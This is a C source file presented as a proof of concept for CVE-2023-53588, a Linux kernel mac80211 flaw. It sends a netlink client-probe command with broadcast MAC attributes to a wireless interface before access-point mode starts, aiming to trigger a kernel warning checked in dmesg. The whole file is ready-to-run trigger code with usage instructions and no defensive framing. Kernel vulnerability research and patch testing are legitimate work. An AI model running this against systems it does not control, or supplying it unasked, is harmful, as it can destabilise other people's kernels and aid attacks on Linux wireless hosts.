/* CVE-2023-53588 PoC - Linux Kernel mac80211 Client Probe Vulnerability
* This PoC demonstrates how to trigger the vulnerability by performing
* a client probe before the AP is started.
*
* Note: This requires a wireless card supported by mac80211 drivers.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/nl80211.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
static int nl80211_trigger_probe(struct nl_sock *sk, int ifindex) {
struct nl_msg *msg;
int ret;
// Create netlink message for client probe
msg = nlmsg_alloc();
if (!msg) {
fprintf(stderr, "Failed to allocate netlink message\n");
return -1;
}
// Set message header - NL80211_CMD_PROBE_CLIENT
genlmsg_put(msg, 0, 0, genl_ctrl_resolve(sk, "nl80211"),
0, 0, NL80211_CMD_PROBE_CLIENT, 0);
// Add interface index attribute
nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex);
// Add MAC address attribute (required for probe)
unsigned char target_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
nla_put(msg, NL80211_ATTR_MAC, 6, target_mac);
// Add peer MAC address
nla_put(msg, NL80211_ATTR_PEER_MAC, 6, target_mac);
// Send the message - this should trigger the warning
// because AP is not started yet (no channel context)
ret = nl_send_auto(sk, msg);
if (ret < 0) {
fprintf(stderr, "Failed to send netlink message: %d\n", ret);
} else {
printf("Probe message sent successfully\n");
printf("Check dmesg for kernel warning if vulnerable\n");
}
nlmsg_free(msg);
return ret;
}
int main(int argc, char *argv[]) {
struct nl_sock *sk;
int ifindex = 0; // Interface index of wireless device
if (argc < 2) {
fprintf(stderr, "Usage: %s <interface_index>\n", argv[0]);
fprintf(stderr, "Example: %s 3\n", argv[0]);
return 1;
}
ifindex = atoi(argv[1]);
// Allocate netlink socket
sk = nl_socket_alloc();
if (!sk) {
fprintf(stderr, "Failed to allocate netlink socket\n");
return 1;
}
// Connect to generic netlink
if (genl_connect(sk) < 0) {
fprintf(stderr, "Failed to connect to generic netlink\n");
nl_socket_free(sk);
return 1;
}
printf("Attempting to trigger CVE-2023-53588...\n");
printf("Interface index: %d\n", ifindex);
printf("Make sure AP mode is NOT started on this interface\n");
// Trigger the vulnerability
nl80211_trigger_probe(sk, ifindex);
// Cleanup
nl_socket_free(sk);
printf("Done. Check 'dmesg' for kernel warnings.\n");
return 0;
}